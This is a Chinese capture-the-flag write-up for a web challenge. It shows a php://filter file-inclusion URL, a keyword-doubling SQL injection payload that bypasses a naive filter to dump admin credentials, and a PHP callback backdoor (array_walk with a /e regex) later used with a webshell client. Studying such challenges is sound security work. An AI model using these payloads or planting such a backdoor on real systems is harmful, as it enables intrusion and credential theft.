NJUPT CGCTF Web 综合2 writeup
by wqpw
还是挺有意思的。
打开后到处点点,发现最有趣的是这个页面
明示了可能有本地文件包含和sql注入漏洞 (´_ゝ`) 没看出来说明你前面的题没做完
然后我们来试试,比如
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php
放编辑器里处理下
loginxlcteam是后台的目录,但还登不了
照着这样把几个文件都读出来,然后都看看,审计一下,发现都没啥用…
可能有sql注入的地方就只有搜索留言了
打开看看
然后又是个改user-agent的套路,用前面的文件包含读一下so.php,主要代码如下
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
...
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id); //过滤
...
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
...
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
...
?>
显然是个整型sql注入漏洞,因为不需要逃逸引号所以mysql_real_escape_string没影响。主要看antiinject()这个函数干了啥。
读取antiinject.php看看
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
可以看到它把一堆关键字,符号替换为空一次
所以我们可以开始注入了,当然先把user-agent改成Xlcteam Browser
试一试,可以知道union注入的输出点在2或者3
因为前面已经把admin表的结构告诉了我们,所以直接上
payload: 233/**/ununionion/**/seselectlect/**/1,2,(seselectlect/**/concat(usernanameme,userpapassss)/**/frfromom/**/adadminmin/**/limit/**/0,1),4
这个密码看起来太眼熟了,都不需要看他们自己写的加密了…
拿到了管理员用户名和密码,去后台登陆
经过一番研究,决定继续用前面的文件包含读取一下小马,发现长这样:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
这一看,吓得我赶紧打开了P神的博客,找到很久以前的一篇文章 创造tips的秘籍——PHP回调后门
以前看过,印象挺深的
然后上菜刀,在根目录下找到flag
结束
tags: ctf - writeup - web